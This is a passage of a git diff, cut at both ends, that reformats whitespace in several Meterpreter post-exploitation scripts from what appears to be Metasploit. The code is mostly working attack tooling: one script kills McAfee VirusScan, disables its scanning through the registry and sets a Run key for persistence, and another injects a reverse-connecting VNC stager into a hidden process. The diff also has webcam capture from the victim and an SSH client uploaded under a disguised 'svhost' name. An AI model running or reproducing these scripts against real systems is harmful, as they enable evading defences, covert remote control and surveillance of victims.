virtualbox_sysenter_dos") + print_status(opts.usage) + raise Rex::Script::Completed + end } #check for proper Meterpreter Platform def unsupported - print_error("This version of Meterpreter is not supported with this Script!") - raise Rex::Script::Completed + print_error("This version of Meterpreter is not supported with this Script!") + raise Rex::Script::Completed end unsupported if client.platform !~ /win32|win64/i diff --git a/scripts/meterpreter/virusscan_bypass.rb b/scripts/meterpreter/virusscan_bypass.rb index 7943288655..ccb56af973 100644 --- a/scripts/meterpreter/virusscan_bypass.rb +++ b/scripts/meterpreter/virusscan_bypass.rb @@ -10,45 +10,45 @@ session = client @@exec_opts = Rex::Parser::Arguments.new( - "-h" => [ false,"Help menu." ], - "-k" => [ false,"Only kills VirusScan processes"], - "-e" => [ true,"Executable to upload to target host. (modifies registry and exclusion list)" ] + "-h" => [ false,"Help menu." ], + "-k" => [ false,"Only kills VirusScan processes"], + "-e" => [ true,"Executable to upload to target host. (modifies registry and exclusion list)" ] ) ################## function declaration Declarations ################## def usage() - print_line "\nAuthor: Mert SARICA (mert.sarica [@] gmail.com) \t\tWeb: http://www.mertsarica.com" - print_line "----------------------------------------------------------------------------------------------" - print_line "Bypasses Mcafee VirusScan Enterprise v8.7.0i+, uploads an executable to TEMP folder adds it" - print_line "to exclusion list and set it to run at startup. (Requires administrator privilege)" - print_line "----------------------------------------------------------------------------------------------" - print_line(@@exec_opts.usage) + print_line "\nAuthor: Mert SARICA (mert.sarica [@] gmail.com) \t\tWeb: http://www.mertsarica.com" + print_line "----------------------------------------------------------------------------------------------" + print_line "Bypasses Mcafee VirusScan Enterprise v8.7.0i+, uploads an executable to TEMP folder adds it" + print_line "to exclusion list and set it to run at startup. (Requires administrator privilege)" + print_line "----------------------------------------------------------------------------------------------" + print_line(@@exec_opts.usage) end @path = "" @location = "" def upload(session,file,trgloc) - if not ::File.exists?(file) - raise "File to Upload does not exists!" - else - @location = session.fs.file.expand_path("%TEMP%") - begin - ext = file.scan(/\S*(.exe)/i) - if ext.join == ".exe" - fileontrgt = "#{@location}\\MS#{rand(100)}.exe" - else - fileontrgt = "#{@location}\\MS#{rand(100)}#{ext}" - end - @path = fileontrgt - print_status("Uploading #{file}....") - session.fs.file.upload_file("#{fileontrgt}","#{file}") - print_status("Uploaded as #{fileontrgt}") - rescue ::Exception => e - print_status("Error uploading file #{file}: #{e.class} #{e}") - end - end - return fileontrgt + if not ::File.exists?(file) + raise "File to Upload does not exists!" + else + @location = session.fs.file.expand_path("%TEMP%") + begin + ext = file.scan(/\S*(.exe)/i) + if ext.join == ".exe" + fileontrgt = "#{@location}\\MS#{rand(100)}.exe" + else + fileontrgt = "#{@location}\\MS#{rand(100)}#{ext}" + end + @path = fileontrgt + print_status("Uploading #{file}....") + session.fs.file.upload_file("#{fileontrgt}","#{file}") + print_status("Uploaded as #{fileontrgt}") + rescue ::Exception => e + print_status("Error uploading file #{file}: #{e.class} #{e}") + end + end + return fileontrgt end #parsing of Options @@ -56,51 +56,51 @@ file = "" helpcall = 0 killonly = 0 @@exec_opts.parse(args) { |opt, idx, val| - case opt - when "-e" - file = val || "" - when "-h" - helpcall = 1 - when "-k" - killonly = 1 - end + case opt + when "-e" + file = val || "" + when "-h" + helpcall = 1 + when "-k" + killonly = 1 + end } if killonly == 0 - if file == "" - usage - raise Rex::Script::Completed - end + if file == "" + usage + raise Rex::Script::Completed + end end # Magic kill order :) avs = %W{ - shstat.exe - engineserver.exe - frameworkservice.exe - naprdmgr.exe - mctray.exe - mfeann.exe - vstskmgr.exe - mcshield.exe + shstat.exe + engineserver.exe + frameworkservice.exe + naprdmgr.exe + mctray.exe + mfeann.exe + vstskmgr.exe + mcshield.exe } av = 0 plist = client.sys.process.get_processes() plist.each do |x| - if (avs.index(x['name'].downcase)) - av = av + 1 - end + if (avs.index(x['name'].downcase)) + av = av + 1 + end end if av > 6 - print_status("VirusScan Enterprise v8.7.0i+ is running...") + print_status("VirusScan Enterprise v8.7.0i+ is running...") else - print_status("VirusScan Enterprise v8.7.0i+ is not running!") - raise Rex::Script::Completed + print_status("VirusScan Enterprise v8.7.0i+ is not running!") + raise Rex::Script::Completed end target_pid = nil @@ -112,8 +112,8 @@ print_status("Migrating to #{target}...") target_pid = client.sys.process[target] if not target_pid - print_error("Could not access the target process") - raise Rex::Script::Completed + print_error("Could not access the target process") + raise Rex::Script::Completed end print_status("Migrating into process ID #{target_pid}") @@ -122,84 +122,84 @@ client.core.migrate(target_pid) target_pid = nil if killonly == 1 - avs.each do |x| - # Get the target process pid - target_pid = client.sys.process[x] - print_status("Killing off #{x}...") - client.sys.process.kill(target_pid) - end + avs.each do |x| + # Get the target process pid + target_pid = client.sys.process[x] + print_status("Killing off #{x}...") + client.sys.process.kill(target_pid) + end else - avs.each do |x| - # Get the target process pid - target_pid = client.sys.process[x] - print_status("Killing off #{x}...") - client.sys.process.kill(target_pid) - end + avs.each do |x| + # Get the target process pid + target_pid = client.sys.process[x] + print_status("Killing off #{x}...") + client.sys.process.kill(target_pid) + end - # Upload it - exec = upload(session,file,"") + # Upload it + exec = upload(session,file,"") - # Initiailze vars - key = nil - value = nil - data = nil - type = nil + # Initiailze vars + key = nil + value = nil + data = nil + type = nil - # Mcafee registry key - key = 'HKLM\Software\Mcafee\VSCore\On Access Scanner\MCShield\Configuration\Default' + # Mcafee registry key + key = 'HKLM\Software\Mcafee\VSCore\On Access Scanner\MCShield\Configuration\Default' - # Split the key into its parts - root_key, base_key = client.sys.registry.splitkey(key) + # Split the key into its parts + root_key, base_key = client.sys.registry.splitkey(key) - # Disable when writing to disk option - value = "bScanIncoming" - data = 0 - type = "REG_DWORD" - open_key = client.sys.registry.open_key(root_key, base_key, KEY_WRITE) - open_key.set_value(value, client.sys.registry.type2str(type), data) - print_status("Successful set #{key} -> #{value} to #{data}.") + # Disable when writing to disk option + value = "bScanIncoming" + data = 0 + type = "REG_DWORD" + open_key = client.sys.registry.open_key(root_key, base_key, KEY_WRITE) + open_key.set_value(value, client.sys.registry.type2str(type), data) + print_status("Successful set #{key} -> #{value} to #{data}.") - # Disable when reading from disk option - value = "bScanOutgoing" - data = 0 - type = "REG_DWORD" - open_key = client.sys.registry.open_key(root_key, base_key, KEY_WRITE) - open_key.set_value(value, client.sys.registry.type2str(type), data) - print_status("Successful set #{key} -> #{value} to #{data}.") + # Disable when reading from disk option + value = "bScanOutgoing" + data = 0 + type = "REG_DWORD" + open_key = client.sys.registry.open_key(root_key, base_key, KEY_WRITE) + open_key.set_value(value, client.sys.registry.type2str(type), data) + print_status("Successful set #{key} -> #{value} to #{data}.") - # Disable detection of unwanted programs - value = "ApplyNVP" - data = 0 - type = "REG_DWORD" - open_key = client.sys.registry.open_key(root_key, base_key, KEY_WRITE) - open_key.set_value(value, client.sys.registry.type2str(type), data) - print_status("Successful set #{key} -> #{value} to #{data}.") + # Disable detection of unwanted programs + value = "ApplyNVP" + data = 0 + type = "REG_DWORD" + open_key = client.sys.registry.open_key(root_key, base_key, KEY_WRITE) + open_key.set_value(value, client.sys.registry.type2str(type), data) + print_status("Successful set #{key} -> #{value} to #{data}.") - # Increase the number of excluded items - value = "NumExcludeItems" - data = 1 - type = "REG_DWORD" - open_key = client.sys.registry.open_key(root_key, base_key, KEY_WRITE) - open_key.set_value(value, client.sys.registry.type2str(type), data) - print_status("Successful set #{key} -> #{value} to #{data}.") + # Increase the number of excluded items + value = "NumExcludeItems" + data = 1 + type = "REG_DWORD" + open_key = client.sys.registry.open_key(root_key, base_key, KEY_WRITE) + open_key.set_value(value, client.sys.registry.type2str(type), data) + print_status("Successful set #{key} -> #{value} to #{data}.") - # Add executable to excluded item folder - value = "ExcludedItem_0" - data = "3|3|" + @location - type = "REG_SZ" - open_key = client.sys.registry.open_key(root_key, base_key, KEY_WRITE) - open_key.set_value(value, client.sys.registry.type2str(type), data) - print_status("Successful set #{key} -> #{value} to #{data}.") + # Add executable to excluded item folder + value = "ExcludedItem_0" + data = "3|3|" + @location + type = "REG_SZ" + open_key = client.sys.registry.open_key(root_key, base_key, KEY_WRITE) + open_key.set_value(value, client.sys.registry.type2str(type), data) + print_status("Successful set #{key} -> #{value} to #{data}.") - # Set registry to run executable at startup - key = 'HKLM\Software\Microsoft\Windows\CurrentVersion\Run' - # Split the key into its parts - root_key, base_key = client.sys.registry.splitkey(key) - value = "MS" - data = @path - open_key = client.sys.registry.open_key(root_key, base_key, KEY_WRITE) - open_key.set_value(value, client.sys.registry.type2str(type), data) - print_status("Successful set #{key} -> #{value} to #{data}.") + # Set registry to run executable at startup + key = 'HKLM\Software\Microsoft\Windows\CurrentVersion\Run' + # Split the key into its parts + root_key, base_key = client.sys.registry.splitkey(key) + value = "MS" + data = @path + open_key = client.sys.registry.open_key(root_key, base_key, KEY_WRITE) + open_key.set_value(value, client.sys.registry.type2str(type), data) + print_status("Successful set #{key} -> #{value} to #{data}.") end print_status("Finished!") diff --git a/scripts/meterpreter/vnc.rb b/scripts/meterpreter/vnc.rb index 42b3ddb67f..b0b47cadcb 100644 --- a/scripts/meterpreter/vnc.rb +++ b/scripts/meterpreter/vnc.rb @@ -8,17 +8,17 @@ session = client # Options # opts = Rex::Parser::Arguments.new( - "-h" => [ false, "This help menu"], - "-r" => [ true, "The IP of a remote Metasploit listening for the connect back"], - "-p" => [ true, "The port on the remote host where Metasploit is listening (default: 4545)"], - "-v" => [ true, "The local port for the VNC proxy service (default: 5900)"], - "-i" => [ false, "Inject the vnc server into a new process's memory instead of building an exe"], - "-P" => [ true, "Executable to inject into (starts a new process). Only useful with -i (default: notepad.exe)"], - "-D" => [ false, "Disable the automatic multi/handler (use with -r to accept on another system)"], - "-O" => [ false, "Disable binding the VNC proxy to localhost (open it to the network)"], - "-V" => [ false, "Disable the automatic launch of the VNC client"], - "-t" => [ false, "Tunnel through the current session connection. (Will be slower)"], - "-c" => [ false, "Enable the VNC courtesy shell"] + "-h" => [ false, "This help menu"], + "-r" => [ true, "The IP of a remote Metasploit listening for the connect back"], + "-p" => [ true, "The port on the remote host where Metasploit is listening (default: 4545)"], + "-v" => [ true, "The local port for the VNC proxy service (default: 5900)"], + "-i" => [ false, "Inject the vnc server into a new process's memory instead of building an exe"], + "-P" => [ true, "Executable to inject into (starts a new process). Only useful with -i (default: notepad.exe)"], + "-D" => [ false, "Disable the automatic multi/handler (use with -r to accept on another system)"], + "-O" => [ false, "Disable binding the VNC proxy to localhost (open it to the network)"], + "-V" => [ false, "Disable the automatic launch of the VNC client"], + "-t" => [ false, "Tunnel through the current session connection. (Will be slower)"], + "-c" => [ false, "Enable the VNC courtesy shell"] ) # @@ -26,9 +26,9 @@ opts = Rex::Parser::Arguments.new( # if (client.sock and client.sock.respond_to? :peerhost and client.sock.peerhost) - rhost = Rex::Socket.source_address(client.sock.peerhost) + rhost = Rex::Socket.source_address(client.sock.peerhost) else - rhost = Rex::Socket.source_address("1.2.3.4") + rhost = Rex::Socket.source_address("1.2.3.4") end rport = 4545 vport = 5900 @@ -48,38 +48,38 @@ pay = nil # Option parsing # opts.parse(args) do |opt, idx, val| - case opt - when "-h" - print_line(opts.usage) - raise Rex::Script::Completed - when "-r" - rhost = val - when "-p" - rport = val.to_i - when "-v" - vport = val.to_i - when "-P" - runme = val - when "-D" - autoconn = false - when "-O" - anyaddr = true - when "-V" - autovnc = false - when "-c" - courtesy = true - when "-t" - tunnel = true - autoconn = true - when "-i" - inject = true - end + case opt + when "-h" + print_line(opts.usage) + raise Rex::Script::Completed + when "-r" + rhost = val + when "-p" + rport = val.to_i + when "-v" + vport = val.to_i + when "-P" + runme = val + when "-D" + autoconn = false + when "-O" + anyaddr = true + when "-V" + autovnc = false + when "-c" + courtesy = true + when "-t" + tunnel = true + autoconn = true + when "-i" + inject = true + end end #check for proper Meterpreter Platform def unsupported - print_error("This version of Meterpreter is not supported with this Script!") - raise Rex::Script::Completed + print_error("This version of Meterpreter is not supported with this Script!") + raise Rex::Script::Completed end unsupported if client.platform !~ /win32|win64/i @@ -87,90 +87,90 @@ unsupported if client.platform !~ /win32|win64/i # Create the raw payload # if (tunnel) - print_status("Creating a VNC bind tcp stager: RHOST=#{lhost} LPORT=#{rport}") - payload = "windows/vncinject/bind_tcp" + print_status("Creating a VNC bind tcp stager: RHOST=#{lhost} LPORT=#{rport}") + payload = "windows/vncinject/bind_tcp" - pay = client.framework.payloads.create(payload) - pay.datastore['RHOST'] = lhost - pay.datastore['LPORT'] = rport - pay.datastore['VNCPORT'] = vport + pay = client.framework.payloads.create(payload) + pay.datastore['RHOST'] = lhost + pay.datastore['LPORT'] = rport + pay.datastore['VNCPORT'] = vport else - print_status("Creating a VNC reverse tcp stager: LHOST=#{rhost} LPORT=#{rport})") - payload = "windows/vncinject/reverse_tcp" + print_status("Creating a VNC reverse tcp stager: LHOST=#{rhost} LPORT=#{rport})") + payload = "windows/vncinject/reverse_tcp" - pay = client.framework.payloads.create(payload) - pay.datastore['LHOST'] = rhost - pay.datastore['LPORT'] = rport - pay.datastore['VNCPORT'] = vport + pay = client.framework.payloads.create(payload) + pay.datastore['LHOST'] = rhost + pay.datastore['LPORT'] = rport + pay.datastore['VNCPORT'] = vport end if (not courtesy) - pay.datastore['DisableCourtesyShell'] = true + pay.datastore['DisableCourtesyShell'] = true end if (anyaddr) - pay.datastore['VNCHOST'] = "0.0.0.0" + pay.datastore['VNCHOST'] = "0.0.0.0" end if autoconn - mul = client.framework.exploits.create("multi/handler") - mul.share_datastore(pay.datastore) + mul = client.framework.exploits.create("multi/handler") + mul.share_datastore(pay.datastore) - mul.datastore['WORKSPACE'] = client.workspace - mul.datastore['PAYLOAD'] = payload - mul.datastore['EXITFUNC'] = 'process' - mul.datastore['ExitOnSession'] = true - mul.datastore['WfsDelay'] = 7 + mul.datastore['WORKSPACE'] = client.workspace + mul.datastore['PAYLOAD'] = payload + mul.datastore['EXITFUNC'] = 'process' + mul.datastore['ExitOnSession'] = true + mul.datastore['WfsDelay'] = 7 - mul.datastore['AUTOVNC'] = autovnc + mul.datastore['AUTOVNC'] = autovnc - print_status("Running payload handler") - mul.exploit_simple( - 'Payload' => mul.datastore['PAYLOAD'], - 'RunAsJob' => true - ) + print_status("Running payload handler") + mul.exploit_simple( + 'Payload' => mul.datastore['PAYLOAD'], + 'RunAsJob' => true + ) end raw = pay.generate if (inject) - # - # Create a host process - # - pid = client.sys.process.execute("#{runme}", nil, {'Hidden' => 'true'}).pid - print_status("Host process #{runme} has PID #{pid}") - host_process = client.sys.process.open(pid, PROCESS_ALL_ACCESS) - mem = host_process.memory.allocate(raw.length + (raw.length % 1024)) + # + # Create a host process + # + pid = client.sys.process.execute("#{runme}", nil, {'Hidden' => 'true'}).pid + print_status("Host process #{runme} has PID #{pid}") + host_process = client.sys.process.open(pid, PROCESS_ALL_ACCESS) + mem = host_process.memory.allocate(raw.length + (raw.length % 1024)) - print_status("Allocated memory at address #{"0x%.8x" % mem}, for #{raw.length} byte stager") - print_status("Writing the VNC stager into memory...") - host_process.memory.write(mem, raw) - host_process.thread.create(mem, 0) + print_status("Allocated memory at address #{"0x%.8x" % mem}, for #{raw.length} byte stager") + print_status("Writing the VNC stager into memory...") + host_process.memory.write(mem, raw) + host_process.thread.create(mem, 0) else - exe = ::Msf::Util::EXE.to_win32pe(client.framework, raw) - print_status("VNC stager executable #{exe.length} bytes long") + exe = ::Msf::Util::EXE.to_win32pe(client.framework, raw) + print_status("VNC stager executable #{exe.length} bytes long") - # - # Upload to the filesystem - # - tempdir = client.fs.file.expand_path("%TEMP%") - tempexe = tempdir + "\\" + Rex::Text.rand_text_alpha((rand(8)+6)) + ".exe" - tempexe.gsub!("\\\\", "\\") + # + # Upload to the filesystem + # + tempdir = client.fs.file.expand_path("%TEMP%") + tempexe = tempdir + "\\" + Rex::Text.rand_text_alpha((rand(8)+6)) + ".exe" + tempexe.gsub!("\\\\", "\\") - fd = client.fs.file.new(tempexe, "wb") - fd.write(exe) - fd.close - print_status("Uploaded the VNC agent to #{tempexe} (must be deleted manually)") + fd = client.fs.file.new(tempexe, "wb") + fd.write(exe) + fd.close + print_status("Uploaded the VNC agent to #{tempexe} (must be deleted manually)") - # - # Execute the agent - # - print_status("Executing the VNC agent with endpoint #{rhost}:#{rport}...") - pid = session.sys.process.execute(tempexe, nil, {'Hidden' => true}) + # + # Execute the agent + # + print_status("Executing the VNC agent with endpoint #{rhost}:#{rport}...") + pid = session.sys.process.execute(tempexe, nil, {'Hidden' => true}) end if tunnel - # Set up a port forward for the multi/handler to use for uploading the stage - print_status("Starting the port forwarding from #{rport} => TARGET:#{rport}") - client.run_cmd("portfwd add -L 127.0.0.1 -l #{rport} -p #{rport} -r #{lhost}") + # Set up a port forward for the multi/handler to use for uploading the stage + print_status("Starting the port forwarding from #{rport} => TARGET:#{rport}") + client.run_cmd("portfwd add -L 127.0.0.1 -l #{rport} -p #{rport} -r #{lhost}") end diff --git a/scripts/meterpreter/webcam.rb b/scripts/meterpreter/webcam.rb index f6e65ba5d6..0292faf398 100644 --- a/scripts/meterpreter/webcam.rb +++ b/scripts/meterpreter/webcam.rb @@ -5,15 +5,15 @@ @client = client opts = Rex::Parser::Arguments.new( - "-h" => [ false, "Help menu" ], - "-f" => [ false, "Just grab single frame"], - "-l" => [ false, "Keep capturing in a loop (default)" ], - "-d" => [ true, "Loop delay interval (in ms, default 1000)" ], - "-i" => [ true, "The index of the webcam to use (Default: 1)" ], - "-q" => [ true, "The JPEG image quality (Default: 50)" ], - "-g" => [ false, "Send to GUI instead of writing to file" ], - "-s" => [ true, "Stop recording" ], - "-p" => [ true, "The path to the folder images will be saved in (Default: current working directory)"] + "-h" => [ false, "Help menu" ], + "-f" => [ false, "Just grab single frame"], + "-l" => [ false, "Keep capturing in a loop (default)" ], + "-d" => [ true, "Loop delay interval (in ms, default 1000)" ], + "-i" => [ true, "The index of the webcam to use (Default: 1)" ], + "-q" => [ true, "The JPEG image quality (Default: 50)" ], + "-g" => [ false, "Send to GUI instead of writing to file" ], + "-s" => [ true, "Stop recording" ], + "-p" => [ true, "The path to the folder images will be saved in (Default: current working directory)"] ) folderpath = "." @@ -23,99 +23,99 @@ index = 1 interval = 1000 gui = false opts.parse(args) { |opt, idx, val| - case opt - when "-h" - print_line "webcam -- view webcam over session" - print_line(opts.usage) - raise Rex::Script::Completed - when "-f" - single = true - when "-l" - single = false - when "-d" - interval = val.to_i - when "-i" - index = val.to_i - when "-q" - quality = val.to_i - when "-g" - gui = true - when "-p" - folderpath = val - when "-s" - print_line("[*] Stopping webcam") - client.webcam.webcam_stop - raise Rex::Script::Completed - end + case opt + when "-h" + print_line "webcam -- view webcam over session" + print_line(opts.usage) + raise Rex::Script::Completed + when "-f" + single = true + when "-l" + single = false + when "-d" + interval = val.to_i + when "-i" + index = val.to_i + when "-q" + quality = val.to_i + when "-g" + gui = true + when "-p" + folderpath = val + when "-s" + print_line("[*] Stopping webcam") + client.webcam.webcam_stop + raise Rex::Script::Completed + end } if !(client.platform =~ /win32|win64/) - print_error("This version of Meterpreter is not supported with this Script!") - raise Rex::Script::Completed + print_error("This version of Meterpreter is not supported with this Script!") + raise Rex::Script::Completed end begin - camlist = client.webcam.webcam_list - if camlist.length == 0 - print_error("Error: no webcams found!") - raise Rex::Script::Completed - elsif camlist.length < index - print_error("Error: only #{camlist.length} webcams found!") - raise Rex::Script::Completed - end - print_line("[*] Starting webcam #{index}: #{camlist[index - 1]}") - client.webcam.webcam_start(index) + camlist = client.webcam.webcam_list + if camlist.length == 0 + print_error("Error: no webcams found!") + raise Rex::Script::Completed + elsif camlist.length < index + print_error("Error: only #{camlist.length} webcams found!") + raise Rex::Script::Completed + end + print_line("[*] Starting webcam #{index}: #{camlist[index - 1]}") + client.webcam.webcam_start(index) - #prepare output - if(gui) - sock = Rex::Socket::Udp.create( - 'PeerHost' => "127.0.0.1", - 'PeerPort' => 16235 - ) - end - imagepath = folderpath + ::File::SEPARATOR + "webcam.jpg" - htmlpath = folderpath + ::File::SEPARATOR + "webcam.htm" - begin - if single == true - data = client.webcam.webcam_get_frame(quality) - if(gui) - sock.write(data) - else - ::File.open( imagepath, 'wb' ) do |fd| - fd.write( data ) - end - path = ::File.expand_path( imagepath ) - print_line( "[*] Image saved to : #{path}" ) - Rex::Compat.open_file( path ) - end - else - if(!gui) - ::File.open(htmlpath, 'wb' ) do |fd| - fd.write('<html><body><img src="webcam.jpg"></img><script>'+ - "setInterval('location.reload()',#{interval});</script></body><html>" ) - end - print_line( "[*] View live stream at: #{htmlpath}" ) - Rex::Compat.open_file(htmlpath) - print_line( "[*] Image saved to : #{imagepath}" ) - end - while true do - data = client.webcam.webcam_get_frame(quality) - if(gui) - sock.write(data) - else - ::File.open( imagepath, 'wb' ) do |fd| - fd.write( data ) - end - end - select(nil, nil, nil, interval/1000.0) - end - end - rescue ::Interrupt - rescue ::Exception => e - print_error("Error getting frame: #{e.class} #{e} #{e.backtrace}") - end - print_line("[*] Stopping webcam") - client.webcam.webcam_stop - sock.close if sock != nil + #prepare output + if(gui) + sock = Rex::Socket::Udp.create( + 'PeerHost' => "127.0.0.1", + 'PeerPort' => 16235 + ) + end + imagepath = folderpath + ::File::SEPARATOR + "webcam.jpg" + htmlpath = folderpath + ::File::SEPARATOR + "webcam.htm" + begin + if single == true + data = client.webcam.webcam_get_frame(quality) + if(gui) + sock.write(data) + else + ::File.open( imagepath, 'wb' ) do |fd| + fd.write( data ) + end + path = ::File.expand_path( imagepath ) + print_line( "[*] Image saved to : #{path}" ) + Rex::Compat.open_file( path ) + end + else + if(!gui) + ::File.open(htmlpath, 'wb' ) do |fd| + fd.write('<html><body><img src="webcam.jpg"></img><script>'+ + "setInterval('location.reload()',#{interval});</script></body><html>" ) + end + print_line( "[*] View live stream at: #{htmlpath}" ) + Rex::Compat.open_file(htmlpath) + print_line( "[*] Image saved to : #{imagepath}" ) + end + while true do + data = client.webcam.webcam_get_frame(quality) + if(gui) + sock.write(data) + else + ::File.open( imagepath, 'wb' ) do |fd| + fd.write( data ) + end + end + select(nil, nil, nil, interval/1000.0) + end + end + rescue ::Interrupt + rescue ::Exception => e + print_error("Error getting frame: #{e.class} #{e} #{e.backtrace}") + end + print_line("[*] Stopping webcam") + client.webcam.webcam_stop + sock.close if sock != nil rescue ::Exception => e - print_error("Error: #{e.class} #{e} #{e.backtrace}") + print_error("Error: #{e.class} #{e} #{e.backtrace}") end diff --git a/scripts/meterpreter/win32-sshclient.rb b/scripts/meterpreter/win32-sshclient.rb index f8c97c6bd3..94bd070f03 100644 --- a/scripts/meterpreter/win32-sshclient.rb +++ b/scripts/meterpreter/win32-sshclient.rb @@ -14,49 +14,49 @@ meter_type = client.platform # @@exec_opts = Rex::Parser::Arguments.new( - "-h" => [ false, "This help menu"], - "-f" => [ true, "Do not download plink.exe but use given file."], - "-U" => [ true, "Download from given URL instead of default one (http://the.earth.li/~sgtatham/putty)"], - "-H" => [ true, "The IP/hostname of the SSH-server to connect to !REQUIRED!"], - "-p" => [ true, "The port of the remote SSH-server (Default:22)"], - "-u" => [ true, "The username to use to login to the SSH-server !REQUIRED!"], - "-P" => [ true, "login with specified password"], - "-b" => [ false, "disable all interactive prompts"], - "-R" => [ true, "Forward remote port to local address ([listen-IP:]listen-port:host:port)"], - "-L" => [ true, "Forward local port to remote address ([listen-IP:]listen-port:host:port)"], - "-D" => [ true, "Dynamic SOCKS-based port forwarding ([listen-IP:]listen-port)"], - "-C" => [ false, "enable compression"], - "-X" => [ false, "enable X11 forwarding"], - "-x" => [ false, "disable X11 forwarding"], - "-A" => [ false, "enable agent forwarding"], - "-a" => [ false, "disable agent forwarding"], - "-1" => [ false, "use SSH-protocol-version 1"], - "-2" => [ false, "use SSH-protocol-version 2"], - "-4" => [ false, "use IPv4"], - "-6" => [ false, "use IPv6"], - "-i" => [ true, "private key-file for authentication"], - "-m" => [ true, "read remote command from file"], - "-s" => [ false, "remote command is an ssh-subsystem(SSH2 only)"], - "-N" => [ false, "Don`t start a shell/command (SSH2 only)"], - "-n" => [ true, "open tunnel in place of session (SSH-2 only) (host:port)"], - "-r" => [ true, "Set SSH-Server`s Hostkey as known Host in Windows-registry before starting the client"], - "-F" => [ false, "Disable ram-mode, upload plink and run from disk. Attention : no auto-cleanup when using -N AND -F !"], - "-E" => [ true, "Start process from memory as given (Target Machine`s!) Application (.exe) (Default: C:\\windows\\system32)"], - "-v" => [ false, "Give additional (debugging-)output"] + "-h" => [ false, "This help menu"], + "-f" => [ true, "Do not download plink.exe but use given file."], + "-U" => [ true, "Download from given URL instead of default one (http://the.earth.li/~sgtatham/putty)"], + "-H" => [ true, "The IP/hostname of the SSH-server to connect to !REQUIRED!"], + "-p" => [ true, "The port of the remote SSH-server (Default:22)"], + "-u" => [ true, "The username to use to login to the SSH-server !REQUIRED!"], + "-P" => [ true, "login with specified password"], + "-b" => [ false, "disable all interactive prompts"], + "-R" => [ true, "Forward remote port to local address ([listen-IP:]listen-port:host:port)"], + "-L" => [ true, "Forward local port to remote address ([listen-IP:]listen-port:host:port)"], + "-D" => [ true, "Dynamic SOCKS-based port forwarding ([listen-IP:]listen-port)"], + "-C" => [ false, "enable compression"], + "-X" => [ false, "enable X11 forwarding"], + "-x" => [ false, "disable X11 forwarding"], + "-A" => [ false, "enable agent forwarding"], + "-a" => [ false, "disable agent forwarding"], + "-1" => [ false, "use SSH-protocol-version 1"], + "-2" => [ false, "use SSH-protocol-version 2"], + "-4" => [ false, "use IPv4"], + "-6" => [ false, "use IPv6"], + "-i" => [ true, "private key-file for authentication"], + "-m" => [ true, "read remote command from file"], + "-s" => [ false, "remote command is an ssh-subsystem(SSH2 only)"], + "-N" => [ false, "Don`t start a shell/command (SSH2 only)"], + "-n" => [ true, "open tunnel in place of session (SSH-2 only) (host:port)"], + "-r" => [ true, "Set SSH-Server`s Hostkey as known Host in Windows-registry before starting the client"], + "-F" => [ false, "Disable ram-mode, upload plink and run from disk. Attention : no auto-cleanup when using -N AND -F !"], + "-E" => [ true, "Start process from memory as given (Target Machine`s!) Application (.exe) (Default: C:\\windows\\system32)"], + "-v" => [ false, "Give additional (debugging-)output"] ) def usage - print_line("plink ssh-client deploy+run script") - print_line("This script will upload and run a plink ssh-cient") - print_line(@@exec_opts.usage) - raise Rex::Script::Completed + print_line("plink ssh-client deploy+run script") + print_line("This script will upload and run a plink ssh-cient") + print_line(@@exec_opts.usage) + raise Rex::Script::Completed end # Wrong Meterpreter Version Message Function #------------------------------------------------------------------------------- def wrong_meter_version(meter = meter_type) - print_error("#{meter} version of Meterpreter is not supported with this Script!") - raise Rex::Script::Completed + print_error("#{meter} version of Meterpreter is not supported with this Script!") + raise Rex::Script::Completed end # # Default parameters @@ -83,28 +83,28 @@ EOS # def upload(client,file,trgloc = nil) - if not ::File.exists?(file) - raise "File to Upload does not exists!" - else - if trgloc == nil - location = client.fs.file.expand_path("%TEMP%") - else - location = trgloc - end - begin - if file =~ /S*(.exe)/i - fileontrgt = "#{location}\\svhost#{rand(100)}.exe" - else - fileontrgt = "#{location}\\TMP#{rand(100)}" - end - print_status("Uploading #{file}....") - client.fs.file.upload_file(fileontrgt, file) - print_status("#{file} successfully uploaded to #{fileontrgt}!") - rescue ::Exception => e - print_status("Error uploading file #{file}: #{e.class} #{e}") - end - end - return fileontrgt + if not ::File.exists?(file) + raise "File to Upload does not exists!" + else + if trgloc == nil + location = client.fs.file.expand_path("%TEMP%") + else + location = trgloc + end + begin + if file =~ /S*(.exe)/i + fileontrgt = "#{location}\\svhost#{rand(100)}.exe" + else + fileontrgt = "#{location}\\TMP#{rand(100)}" + end + print_status("Uploading #{file}....") + client.fs.file.upload_file(fileontrgt, file) + print_status("#{file} successfully uploaded to #{fileontrgt}!") + rescue ::Exception => e + print_status("Error uploading file #{file}: #{e.class} #{e}") + end + end + return fileontrgt end @@ -141,162 +141,162 @@ filemode = nil downloaded = nil @@exec_opts.parse(args) { |opt, idx, val| - case opt - when "-h" - usage - when "-H" - if !val - print_error("-H requires an argument !") - usage - end - rhost = val + case opt + when "-h" + usage + when "-H" + if !val + print_error("-H requires an argument !") + usage + end + rhost = val - when "-f" - if !val - print_error("-f requires an argument !") - usage - end - plink = val - if not ::File.exists?(plink) - print_error("Plink.exe not found/accessible!") - usage - end - manual = true + when "-f" + if !val + print_error("-f requires an argument !") + usage + end + plink = val + if not ::File.exists?(plink) + print_error("Plink.exe not found/accessible!") + usage + end + manual = true - when "-r" - if !val - print_error("-r requires an argument !") - usage - end - hostkey = val + when "-r" + if !val + print_error("-r requires an argument !") + usage + end + hostkey = val - when "-p" - rport = val.to_i + when "-p" + rport = val.to_i - when "-U" - if !val - print_error("-u requires an argument !") - usage - end - plinkurl = val + when "-U" + if !val + print_error("-u requires an argument !") + usage + end + plinkurl = val - when "-u" - if !val - print_error("-u requires an argument !") - usage - end - username = val + when "-u" + if !val + print_error("-u requires an argument !") + usage + end + username = val - when "-P" - if !val - print_error("-P requires an argument !") - usage - end - password = val + when "-P" + if !val + print_error("-P requires an argument !") + usage + end + password = val - when "-b" - batchmode = true + when "-b" + batchmode = true - when "-R" - if !val - print_error("-R requires an argument !") - usage - end - remotefwd = val + when "-R" + if !val + print_error("-R requires an argument !") + usage + end + remotefwd = val - when "-L" - if !val - print_error("-L requires an argument !") - usage - end - localfwd = val + when "-L" + if !val + print_error("-L requires an argument !") + usage + end + localfwd = val - when "-D" - if !val - print_error("-D requires an argument !") - usage - end - socksfwd = val + when "-D" + if !val + print_error("-D requires an argument !") + usage + end + socksfwd = val - when "-C" - enablecompression = true + when "-C" + enablecompression = true - when "-X" - enablex11fwd = true + when "-X" + enablex11fwd = true - when "-x" - disablex11fwd = true + when "-x" + disablex11fwd = true - when "-A" - enableagentfwd = true + when "-A" + 